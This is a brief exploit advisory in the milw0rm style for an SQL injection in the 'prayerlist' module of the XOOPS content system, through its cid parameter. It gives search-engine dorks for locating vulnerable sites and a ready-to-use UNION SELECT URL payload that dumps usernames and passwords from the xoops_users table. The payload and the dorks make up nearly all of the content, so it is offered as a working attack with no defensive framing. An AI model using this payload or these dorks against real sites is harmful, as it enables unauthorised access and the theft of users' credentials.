XOOPS Module prayerlist SQL Injection(cid)

[hackturkiye . hackturkiye]

###############################################################

# 

#   XOOPS Module prayerlist SQL Injection(cid)

#

###############################################################

#

# AUTHOR : [EMAIL PROTECTED] 

#

# HOME : http://www.milw0rm.com/author/1334

#   

# MAİL : [EMAIL PROTECTED]

#        

################################################################

# 

#  DORK 1 : allinurl:"modules/prayerlist/index.php?pa"cid

# 

#  DORK 2 : allinurl: 

#

################################################################

   EXPLOIT : 


modules/prayerlist/index.php?pa=view&cid=-9999999/**/union/**/select/**/0,1,concat(uname,0x3a,pass)/**/from/**/xoops_users/*


################################################################

# [EMAIL PROTECTED]           i AM NOT HACKER      [EMAIL PROTECTED] 

################################################################